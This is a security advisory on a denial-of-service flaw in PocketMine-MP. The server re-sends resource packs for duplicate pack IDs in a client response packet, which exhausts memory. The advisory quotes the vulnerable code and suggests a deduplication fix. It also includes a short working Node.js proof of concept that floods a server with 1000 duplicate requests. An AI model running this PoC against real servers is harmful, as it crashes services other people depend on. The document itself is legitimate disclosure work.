PocketMine-MP `ResourcePackDataInfoPacket` amplification vulnerability due to lack of resource pack sequence status checking

Summary

A denial-of-service / out-of-memory vulnerability exists in the STATUS_SEND_PACKS handling of ResourcePackClientResponsePacket. PocketMine-MP processes the packIds array without verifying that all entries are unique. A malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same STATUS_SEND_PACKS packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server. Severity: High — Remote DoS from an authenticated client.

Details

Relevant code (simplified):

case ResourcePackClientResponsePacket::STATUS_SEND_PACKS:
    foreach($packet->packIds as $uuid){
        $splitPos = strpos($uuid, "_");
        if($splitPos !== false){
            $uuid = substr($uuid, 0, $splitPos);
        }
        $pack = $this->getPackById($uuid);
        if(!($pack instanceof ResourcePack)){
            $this->disconnectWithError("Unknown pack $uuid requested...");
            return false;
        }
        $this->session->sendDataPacket(ResourcePackDataInfoPacket::create(
            $pack->getPackId(),
            self::PACK_CHUNK_SIZE,
            (int) ceil($pack->getPackSize() / self::PACK_CHUNK_SIZE),
            $pack->getPackSize(),
            $pack->getSha256(),
            false,
            ResourcePackType::RESOURCES
        ));
    }
    break;

Root cause:

• The packIds array is taken directly from the client packet and processed as-is.
• There is no check to ensure that all requested packs are unique.
• A malicious client can craft a STATUS_SEND_PACKS packet with many duplicates of a valid UUID.
• Each duplicate results in the server re-sending the same pack, consuming additional memory.

Why this is unexpected:

• Mojang's official clients never send duplicates in packIds.
• PocketMine assumes the client is well-behaved, but an attacker can bypass this with a custom client.

Suggested fix: Before sending packs:

1. Remove duplicates from the incoming packIds array.
2. If the difference between the original count and unique count exceeds a small threshold (e.g. > 2 duplicates), immediately disconnect the client with an error.
3. Track which packs have already been sent to this player, and skip any that have already been transferred.

$alreadySent = $this->packsSent ?? [];

// Remove duplicates
$uniquePackIds = array_unique($packet->packIds);

// Detect abuse
if(count($packet->packIds) - count($uniquePackIds) > 2){
    $this->disconnectWithError("Too many duplicate resource pack requests");
    return false;
}

foreach($uniquePackIds as $uuid){
    if(in_array($uuid, $alreadySent, true)){
        continue; // Skip packs already sent to this player
    }
    // existing code...
    $alreadySent[] = $uuid;
}

$this->packsSent = $alreadySent;

PoC

1. Join a PocketMine-MP server with at least one resource pack enabled.

2. Using a custom Bedrock client, send a ResourcePackClientResponsePacket with:

   • status = STATUS_SEND_PACKS
   • packIds = many duplicates of a known valid pack UUID.

Example Node.js PoC (requires bedrock-protocol and a valid PACK_UUID):

import { createClient } from 'bedrock-protocol';

const host = '127.0.0.1';
const port = 19132;
const username = 'test';
const PACK_UUID = '00000000-0000-0000-0000-000000000000'; // replace with a real UUID
const DUPLICATES = 1000;

const client = createClient({
    host,
    port,
    username,
    offline: true
});

client.on('spawn', () => {
    console.log('[*] Sending duplicate pack request...');
    client.queue('resource_pack_client_response', {
        response_status: 'send_packs',
        resourcepackids: Array(DUPLICATES).fill(PACK_UUID)
    });
});

Impact

• Type: Remote Denial of Service / Memory Exhaustion
• Who is impacted: Any PocketMine-MP server with resource packs enabled
• Requirements: Attacker must connect to the server (authenticated player)
• Effect: Server memory rapidly increases, leading to freeze or crash